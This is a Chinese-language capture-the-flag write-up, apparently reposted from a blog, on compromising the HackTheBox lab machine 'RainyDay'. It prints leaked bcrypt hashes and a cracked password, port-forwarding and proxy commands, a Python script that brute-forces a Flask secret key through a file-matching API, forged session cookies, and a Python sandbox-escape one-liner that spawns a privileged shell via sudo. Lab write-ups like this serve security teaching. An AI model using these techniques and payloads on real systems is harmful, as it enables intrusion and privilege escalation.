HTB靶机:RainyDay
目錄
- 介紹
- 主機(jī)信息探測(cè)
- 網(wǎng)站探測(cè)
- 子域名爆破(BurpSuite)
- 目錄爆破
- 爆破參數(shù)值
- 分析 & 破解hash
- 登錄系統(tǒng)
- 反彈shell
- 端口轉(zhuǎn)發(fā)
- 內(nèi)網(wǎng)穿透【很坑】
- 配置socks代理
- 內(nèi)網(wǎng)掃描
- 換用windows做內(nèi)網(wǎng)滲透
- 子域名信息收集
- 爆破密鑰位置
- 爆破密鑰內(nèi)容
- JWT攻擊
- 進(jìn)程監(jiān)控
- Flag1 & 獲取SSH私鑰
- 提權(quán)
- python沙盒逃逸 & 提權(quán)為jack_adm
- 破解hash
- 參考
介紹
系統(tǒng):linux
難度:困難
發(fā)布日期:2022/10/16
靶機(jī)地址:https://www.hackthebox.com/machines/rainyday
其他信息:2022年10月24日靶場(chǎng)刪除了泄露的root的 SSH 密鑰,并更改了泄露的root密碼。個(gè)人打靶發(fā)現(xiàn)靶機(jī)還刪除了python,其他變化尚未發(fā)現(xiàn)。
補(bǔ)充:這臺(tái)靶機(jī)與Vulnhub靶機(jī)BOREDHACKERBLOG: SOCIAL NETWORK較為相似,只是利用起來更復(fù)雜很多。
主機(jī)信息探測(cè)
nmap -v -p- --min-rate 3000 -sV 10.10.11.184 nmap 10.10.11.184 -p22,80 -A網(wǎng)站探測(cè)
開局就是一個(gè)訪問不到
配置了hosts之后可以訪問了,能夠看到我的賬號(hào)頁面,點(diǎn)開之后爆破無果,嘗試注冊(cè)賬號(hào)登錄失敗。
子域名爆破(BurpSuite)
面對(duì)需要綁hosts的靶機(jī),需要做子域名爆破,看看kali上有哪些字典
locate dns | grep "/usr/share" | grep ".txt"這里演示一下如何使用BurpSuite做子域名爆破:
爆破結(jié)果中基本都是302跳轉(zhuǎn)到 http://rainycloud.htb,唯獨(dú)一個(gè)爆破結(jié)果是403,簡(jiǎn)單測(cè)試后無法ByPass403,先綁定到hosts中吧,看后面是否會(huì)用得到。
目錄爆破
dirsearch -u http://rainycloud.htb/ --full-url -R 2 -x 404 --exclude-sizes=0B看到了一個(gè)有點(diǎn)意思的頁面,但是嘗試輸入一個(gè)id后并沒有出現(xiàn)什么有價(jià)值的信息,碰到這種情況也許是id的格式不對(duì),不妨通過bp爆破一把梭。
爆破參數(shù)值
嘗試使用不同的參數(shù)格式,如1、1.0、1-1,如何設(shè)置這種格式呢?如下:
結(jié)果發(fā)現(xiàn)編碼導(dǎo)致了404錯(cuò)誤
取消勾選即可
然后就發(fā)現(xiàn)了id參數(shù)的設(shè)置格式
得到了如下信息:
"id":2, "password":"$2a$05$FESATmlY4G7zlxoXBKLxA.kYpZx8rLXb2lMjz3SInN4vbkK82na5W", "username":"root""id":1, "password":"$2a$10$bit.DrTClexd4.wVpTQYb.FpxdGFNPdsVX8fjFYknhDwSxNJh.O.O", "username":"jack""id":3, "password":"$2b$12$WTik5.ucdomZhgsX6U/.meSgr14LcpWXsCA0KxldEw8kksUtDuAuG", "username":"gary"分析 & 破解hash
來到網(wǎng)站:https://www.cmd5.com/,一個(gè)都沒有破解出來。來到hashcat網(wǎng)站看看:
打開 hashcat 點(diǎn)擊 Wiki
點(diǎn)開exam,發(fā)現(xiàn) Hash-Mode 3200的類型符合爆破得到的hash樣子
開始爆破:hashcat.exe -m 3200 C:\Users\asuka\Desktop\1.txt D:\字典\rockyou.txt
很快就爆破出來,id為3的用戶gary的密碼是:rubberducky
登錄系統(tǒng)
登錄之后如下,看樣子可以創(chuàng)建一個(gè)docker容器并執(zhí)行命令
下拉框有2個(gè)選擇,測(cè)試發(fā)現(xiàn)第1個(gè)不行,點(diǎn)擊之后沒有有價(jià)值的反應(yīng)。這里選擇下拉框的第2個(gè)
經(jīng)過多次嘗試,發(fā)現(xiàn)通過如下2種格式可以成功執(zhí)行命令,下面測(cè)試發(fā)現(xiàn)第一種執(zhí)行方式有點(diǎn)問題,需要換成第二種才行。
反彈shell
檢查發(fā)現(xiàn)靶機(jī)存在nc,并且支持-e參數(shù)。但是反彈shell時(shí)候除了一些幺蛾子。
難不成,要換成另一種命令執(zhí)行的格式?果然,換成另一種格式好了。
現(xiàn)在已經(jīng)可以反彈shell了,于是就出現(xiàn)了一個(gè)問題。
我是使用物理機(jī)win11通過openVPN直接連接的靶機(jī),我該如何讓我的NAT模式虛擬機(jī)kali拿到shell呢?可以通過端口轉(zhuǎn)發(fā)來解決。
端口轉(zhuǎn)發(fā)
netsh是windows系統(tǒng)自帶的一個(gè)命令行工具,這個(gè)工具可以內(nèi)置端口轉(zhuǎn)發(fā)功能。由于物理機(jī)都是有防火墻的,因此使用端口轉(zhuǎn)發(fā)前需要先在本地測(cè)試一下能不能實(shí)現(xiàn)端口轉(zhuǎn)發(fā)。
以管理員身份運(yùn)行cmd,執(zhí)行如下命令,一旦有人訪問了物理機(jī)的4444端口,就轉(zhuǎn)發(fā)給kali的4444端口。
添加端口轉(zhuǎn)發(fā)的命令 netsh interface portproxy add v4tov4 listenport=4444 connectaddress=192.168.229.128 connectport=4444查看端口轉(zhuǎn)發(fā)的記錄表 netsh interface portproxy show all清除指定規(guī)則 netsh interface portproxy delete v4tov4 listenport=4444清除所有規(guī)則 netsh interface portproxy reset如下圖,連接openVPN后,物理機(jī)得到一個(gè)IP:10.10.14.9,然后kali在4444端口開啟一個(gè)web服務(wù)。物理機(jī)訪問本地的4444端口果然看到了kali的web服務(wù)。說明端口轉(zhuǎn)發(fā)沒問題。
**測(cè)試發(fā)現(xiàn),如果只是用于本地虛擬機(jī)和物理機(jī)之間的端口轉(zhuǎn)發(fā),可以不設(shè)置防火墻,像這種HTB靶機(jī)的話,需要設(shè)置防火墻才可以。**我這里新建了如下規(guī)則,允許3個(gè)端口可以做轉(zhuǎn)發(fā)。
然后bp發(fā)送數(shù)據(jù)包,kali獲取到shell
發(fā)現(xiàn)靶機(jī)上不存在python,因此只能通過sh獲取一個(gè)簡(jiǎn)陋的交互環(huán)境,由于靶機(jī)一開始就說了自己是個(gè)docker環(huán)境,并且我們發(fā)現(xiàn)看到的IP和靶機(jī)IP不同,基本確認(rèn)身處docker環(huán)境中。
簡(jiǎn)單的看了下內(nèi)網(wǎng),沒法做主機(jī)發(fā)現(xiàn),從arp中發(fā)現(xiàn)了一個(gè)主機(jī),還是內(nèi)網(wǎng)穿透吧,穿透之后再做內(nèi)網(wǎng)。
內(nèi)網(wǎng)穿透【很坑】
這里忘了寫工具是怎么投遞的了,下文“內(nèi)網(wǎng)掃描”中會(huì)補(bǔ)寫
這里嘗試了很多款內(nèi)網(wǎng)穿透工具,甚至關(guān)閉了物理機(jī)的防火墻,始終無法讓kali與靶機(jī)之間建立隧道。最終放棄。第二天,也就是現(xiàn)在,重新捋了一遍思路:
首先恢復(fù)防火墻,重新做一遍端口轉(zhuǎn)發(fā)
- show顯示網(wǎng)絡(luò)拓?fù)?/li>
A表示admin節(jié)點(diǎn),數(shù)字表示agent節(jié)點(diǎn)。下面的拓?fù)鋱D表示,admin節(jié)點(diǎn)下連接了1節(jié)點(diǎn)
- goto操作某節(jié)點(diǎn)
- socks建立到某節(jié)點(diǎn)的socks5代理
執(zhí)行成功socks命令之后,會(huì)在admin節(jié)點(diǎn)本地開啟一個(gè)端口,如下圖中通過1080端口即可進(jìn)行socks5代理
配置socks代理
配置proxychains4.conf(較新版本的kali已經(jīng)沒有proxychains.conf了,取而代之的是proxychains4.conf)
ls -lh /etc | grep proxy vim /etc/proxychains4.conf tail -5 /etc/proxychains4.conf內(nèi)網(wǎng)掃描
懶得一個(gè)一個(gè)掃了,直接fsan一把梭
由于已經(jīng)做了端口轉(zhuǎn)發(fā),因此訪問物理機(jī)的6666端口,就會(huì)訪問到kali6666端口的web服務(wù)。結(jié)果尷尬了,fscan掃不動(dòng),沒結(jié)果。
那就只能老實(shí)的通過socks代理掃描了,在做“端口轉(zhuǎn)發(fā)”的時(shí)候,通過arp得知docker網(wǎng)絡(luò)中有個(gè)IP是172.18.0.1,猜測(cè)這個(gè)應(yīng)該是宿主機(jī)的IP,先掃一波。這種掃描掃描的端口多,很費(fèi)時(shí)間,目前能看到22、80端口,以及一個(gè)49153端口,不知道是什么鬼。想要一探究竟,還是得瀏覽器掛代理訪問一下。
proxychains4 nmap -Pn -sT 172.18.0.1從目前得到的來看,不出意外的話,應(yīng)該是通過socks代理訪問之前發(fā)現(xiàn)的子域名,通過它來實(shí)現(xiàn)docker逃逸,但是kali里面的字體比較小,截圖不好看,并且不知道什么原因,kali里面的瀏覽器無法完整的渲染子域名,因此下面我直接使用自己的物理機(jī)來做內(nèi)網(wǎng)滲透,部分情況下可能會(huì)使用虛擬機(jī)來做。
換用windows做內(nèi)網(wǎng)滲透
子域名信息收集
登錄了之前爆破出來的子域名,這個(gè)時(shí)候再來看一下之前目錄爆破的結(jié)果,竟然有了新的發(fā)現(xiàn),這個(gè)時(shí)候注意到cookie是JWT格式的,但是請(qǐng)求包上面沒有JWT按鈕,看起來“JWT Editor Keys”插件不能正常編輯這個(gè)JWT數(shù)據(jù),丟到 jwt.io 看一眼,發(fā)現(xiàn)這個(gè)JWT是簽名無效。
那么,接下來怎么搞?沒辦法,翻看了下攻略,只能說,攻略也是晦澀的。能看出來大概意思是通過/api/healthcheck頁面找到密鑰來篡改JWT。那么,怎么找密鑰?
攻略的操作很神奇,如下所示,可以看到:
攻略十分自信密鑰中會(huì)包含SECRET_KEY,并且密鑰存在于/var/www/rainycloud路徑下。對(duì)于這種開掛行為,暫且看他就算開掛又是怎么打穿靶場(chǎng)的吧。
爆破密鑰位置
最終在“/var/www/rainycloud/secrets.py”中發(fā)現(xiàn)了密鑰位置,爆破結(jié)果為true
POST /api/healthcheck HTTP/1.1 Host: dev.rainycloud.htb Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.119 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: session=eyJ1c2VybmFtZSI6ImdhcnkifQ.Y4G3sA.DfpGzMmf7s6XdCNpHG5vD-PWDTw Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 70file=/var/www/rainycloud/secrets.py&type=CUSTOM&pattern=^SECRET_KEY.*'爆破密鑰內(nèi)容
需要布爾爆破密鑰內(nèi)容,相關(guān)的腳本攻略里提供了。但是在此之前我們需要驗(yàn)證自己能否連接上靶場(chǎng)。
通過bp插件“Copy As Python-Requests”很方便得到了一段python代碼,略微修改一下:
發(fā)現(xiàn)需要給python掛上代理,我這里圖省事就不掛socks代理了,直接把python掛到bp上,發(fā)現(xiàn)代碼能夠正常跑起來,那就開始改造攻略里的腳本
改造后的腳本如下:
import string import requests import jsonallchars = string.printable cookies = {'session': 'eyJ1c2VybmFtZSI6ImdhcnkifQ.Y4G3sA.DfpGzMmf7s6XdCNpHG5vD-PWDTw'} # 填寫自己的cookie信息 proxy = {"http": "http://127.0.0.1:8089"} # bp 監(jiān)聽端口臨時(shí)改成了8089s = requests.Session() pattern = ""while True:for c in allchars:try:rsp = s.post('http://dev.rainycloud.htb/api/healthcheck', {'file': '/var/www/rainycloud/secrets.py','type': 'custom','pattern': "^SECRET_KEY = '" + pattern + c + ".*"}, cookies=cookies, proxies=proxy)if json.loads(rsp.content)['result']:pattern += cprint('[√]:'+str(pattern))breakelse:print('[×]:'+str(c))except Exception:print(rsp.content)開始爆破,結(jié)果爆破一段時(shí)間后報(bào)錯(cuò)了,一檢查竟然是隧道斷開了。重新爆破,結(jié)果又是到這個(gè)爆破結(jié)果的時(shí)候斷開了,看來是靶場(chǎng)自身的問題,只能把獲取到的部分密鑰值填入到腳本中,讓腳本在爆破了。
拼接之后重新爆破,發(fā)現(xiàn)爆破出某段內(nèi)容之后,再無新的爆破結(jié)果了,說明已經(jīng)爆破完畢。
最終得到密鑰:略(靶場(chǎng)在役,暫不公開)
JWT攻擊
拿著密鑰來到 https://jwt.io 發(fā)現(xiàn)根本沒法篡改身份,那怎么辦?
根據(jù)攻略,可以使用工具flask-session-cookie-manager 來做越權(quán)。已知的JWT攻擊方式在BurpSuite網(wǎng)絡(luò)安全學(xué)院里面都記錄的有,靶場(chǎng)里的這種攻擊方式我是第一次碰到。
當(dāng)初網(wǎng)站探測(cè)的時(shí)候知道靶場(chǎng)上有三個(gè)用戶:root、jack、gary
嘗試越權(quán)root用戶
得到cookie值:eyJ1c2VybmFtZSI6InJvb3QifQ.Y4H99A.ipx-A7fgdksnTVNLj9so7YLRWO0
篡改瀏覽器的cookie,刷新之后發(fā)現(xiàn)啥也沒有,合著這個(gè)root賬戶沒有用。
嘗試越權(quán)jack用戶
得到cookie值:略
于是,又是命令執(zhí)行得到了一個(gè)shell,看起來是docker網(wǎng)絡(luò)里的另一臺(tái)機(jī)器
那么,接下來怎么辦呢?完全沒有方向了。查看攻略發(fā)現(xiàn)了pspy
進(jìn)程監(jiān)控
工具pspy在之前的靶機(jī)CEREAL: 1中介紹過,它讓我們可以在沒有特權(quán)的情況下看到linux系統(tǒng)上的所有進(jìn)程。到這種時(shí)候了,能想到這個(gè)工具,還能打穿靶機(jī),我不知道該說什么了,它不像web滲透是尋著線索打,現(xiàn)在的打法很亂。甚至可以稱之為玄學(xué),因此下面不再追究思路的合理性了。
pspy64投遞到靶機(jī)上面,后臺(tái)運(yùn)行,看到了一個(gè)關(guān)于休眠的進(jìn)程。
進(jìn)入這個(gè)休眠進(jìn)程中,發(fā)現(xiàn)了一個(gè)有意思的目錄:
cd /proc/1120 ls -al然后就發(fā)現(xiàn),通過cd root進(jìn)入到了靶機(jī)里面了。
Flag1 & 獲取SSH私鑰
得到了一個(gè)flag:略
然后獲取SSH私鑰,但是物理機(jī)沒能使用私鑰登錄靶場(chǎng)
私鑰丟到kali上面,連接靶場(chǎng)失敗。
這個(gè)時(shí)候有2個(gè)辦法:
我這里選擇第2中辦法,比較便捷:
首先讀取到ssh私鑰內(nèi)容
粘貼私鑰到kali中,成功登上靶機(jī)
vim id_rsa chmod 400 ./id_rsa ssh jack@10.10.11.184 -i ./id_rsa提權(quán)
用戶jack似乎可以提權(quán)為jack_adm,但是不知道該怎么提權(quán)。
python沙盒逃逸 & 提權(quán)為jack_adm
我本想扔一個(gè)提權(quán)腳本,意外發(fā)現(xiàn)靶機(jī)的/tmp目錄下有個(gè)名為aa的文件,文件內(nèi)容閱讀不懂,通過攻略中的參考文檔得知這是python沙河逃逸,我對(duì)這塊并不了解,因此直接使用攻略中的利用代碼完成提權(quán)。
echo 'print(().__class__.__mro__[1].__subclasses__()[144].__init__.__globals__["__builtins__"]["__loader__"]().load_module("builtins").__import__("os").system("bash -i"))' > /tmp/test && sudo -u jack_adm /usr/bin/safe_python /tmp/test破解hash
看起來,jack_adm賬戶可以通過sudo提權(quán),但是這個(gè)提權(quán)涉及到了hash,再次涉及到知識(shí)盲區(qū)。攻略中提到的把密碼設(shè)為空得到hash值,然后跑出鹽值的方法已經(jīng)失效,具體該怎么整沒啥思路。只能放棄了。
參考
https://meowmeowattack.wordpress.com/2022/10/18/hackthebox-htb-writeup-rainyday/(文中提到的攻略)
總結(jié)
以上是生活随笔為你收集整理的HTB靶机:RainyDay的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 调用个人微信API接口协议实现群发好友,
- 下一篇: java 里大于且小于_java-浮点数